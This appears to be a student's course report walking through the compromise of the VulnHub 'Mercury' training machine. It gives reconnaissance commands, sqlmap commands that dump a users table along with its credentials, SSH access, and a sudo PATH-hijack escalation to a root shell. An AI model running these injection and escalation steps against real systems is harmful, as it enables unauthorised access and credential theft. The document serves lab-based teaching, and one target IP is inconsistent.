

Sir Syed University of Engineering & Technology Department of Cyber Security

**Project Proposal of Introduction to Cyber Security**

**Project Title: SQLi Injection using Sqlmap**

**Name: Maheen Iftikhar**

**Roll number: 2023S-BCYS-005**

**1. Introduction**

This report details the systematic approach taken to exploit the 'Mercury' machine from 'The Planets' series on VulnHub using SQL Injection (SQLi). The objective was to identify SQLi vulnerabilities, extract sensitive information using sqlmap, and gain unauthorized access to the system.

**2. Environment Setup**

* **Target Machine:** 'Mercury' VM from VulnHub
* **Attacker Machine:** Parrot OS
* **Network Configuration:** Both machines were configured on the same subnet to facilitate communication.

**3. Reconnaissance**

* **IP Discovery:** Utilized netdiscover to identify the target machine's IP address:
* netdiscover

Identified IP: 192.168.0.113

* **Port Scanning:** Conducted an Nmap scan to identify open ports and services:
* nmap -A 192.168.0.113

**Results:**

* + Port 22/TCP: SSH
  + Port 8080/RCP: HTTP

**4. Enumeration**

* **Web Service Analysis:** Accessed the web service at http://192.168.0.113:8080/ but found no useful information.
* **Directory Brute Forcing:** Employed dirb to discover hidden directories:
* dirb http://192.168.0.113:8080/

Discovered /robots.txt, which was empty.

* **Error-Based Enumeration:** By appending random characters to the URL, an error page revealed the /mercuryfacts directory.
* **Database Interaction:** Navigated to http://192.168.0.113:8080/mercuryfacts/ and observed that appending IDs (e.g., /1) displayed different facts, indicating potential database queries.

**5. Exploitation**

* **SQL Injection:**
  + Used sqlmap to test for SQL injection vulnerabilities:
  + sqlmap -u http://192.168.0.113:8080/mercuryfacts/1 --dump-all
  + Identified a database named 'mercury'.
  + Dumped the 'users' table:
  + sqlmap -u http://192.168.1.13:8080/mercuryfacts/1 -D mercury -T users --dump --batch
* **Credentials Obtained:**
  + - john: johnny1987
    - laura: lovemykids111
    - sam: lovemybeer111
    - webmaster: mercuryisthesizeof0.056Earths
* **SSH Access:**
  + Logged in as 'webmaster':
  + ssh webmaster@192.168.0.113
  + Found user\_flag.txt and retrieved the user flag.

**6. Privilege Escalation**

* **Discovery:**
* Found a directory named mercury\_proj containing notes.txt. The notes.txt
* file contained Base64 encoded credentials for 'linuxmaster'.
* **Decoding Credentials:**
  + Decoded the Base64 string to obtain the password:

echo 'bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==' | base64 -d

* + Password: mercurymeandiameteris4880km
* **Privilege Escalation via Sudo:**
  + Switched to 'linuxmaster':

su linuxmaster

* + Checked sudo privileges:

sudo -l

* + Noted that linuxmaster could execute /usr/bin/check\_syslog.sh with elevated privileges.
  + Examined the script:

head -n 5 /usr/bin/check\_syslog.sh

* + The script used the tail command, presenting an opportunity to manipulate the PATH.
* **Exploiting PATH Vulnerability:**
  + Created a malicious tail script:

echo '/bin/bash' > /home/linuxmaster/tail

chmod +x /home/linuxmaster/tail

* + Modified the PATH:

export PATH=/home/linuxmaster:$PATH

* + Executed the vulnerable script with preserved environment:

sudo --preserve-env=PATH /usr/bin/check\_syslog.sh

* + Gained a root shell.
* **Retrieving Root Flag:**
  + Navigated to /root and read root\_flag.txt to obtain the root flag.

**6. Conclusion**

We successfully exploited an SQL Injection vulnerability on the 'Mercury' machine using sqlmap. We successfully compromised the 'Mercury' machine, obtaining both user and root flags.

